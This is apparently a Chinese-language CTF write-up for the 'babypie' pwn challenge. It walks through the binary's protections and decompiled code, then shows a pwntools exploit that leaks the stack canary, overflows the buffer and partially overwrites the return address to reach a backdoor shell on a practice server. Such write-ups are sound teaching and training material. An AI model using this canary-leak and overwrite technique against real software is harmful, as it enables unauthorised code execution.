babypie

b4nd1t

babypie

1.保护检查

1679227585629

开启了pie保护,也有canary

2.源码分析

主函数

1
2
3
4
5
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
sub_960(a1, a2, a3);
return 0LL;
}

进入sub_960()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 sub_960()
{
__int64 buf[6]; // [rsp+0h] [rbp-30h] BYREF

buf[5] = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
memset(buf, 0, 32);
puts("Input your Name:");
read(0, buf, 0x30uLL);
printf("Hello %s:\n", (const char *)buf);
read(0, buf, 0x60uLL);
return 0LL;
}

1679228062188

buf有48个字节,第一次输入是48字节,不能进行溢出,但是可以填写特定数量的字节泄露canary。第二次输入96个字节,肯定可以溢出。那么思路就是第一次输入泄露canary,第二次输入进行溢出。

1679228140419

程序中已经给出了后门

1679228862642

后门的偏移为0xa3f

1679228918952

在调试时看到原来存储的返回地址偏移为a6a,所以在第二次溢出时只需覆盖返回地址的一个字节就能拿到shell。

3.exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p = process("./buu")
p = remote('node4.buuoj.cn',27327)
sh = 0xa3f

p.recv()
payload = 'a'*40 + 'b'
p.send(payload)
p.recvuntil("aab")
canary = u64(p.recv(7).ljust(8,"\x00")) * 0x100
p.recv()
payload = 'a'*40 + p64(canary) + 'a'*8 + "\x3f"
p.send(payload)

p.interactive()

1679229342799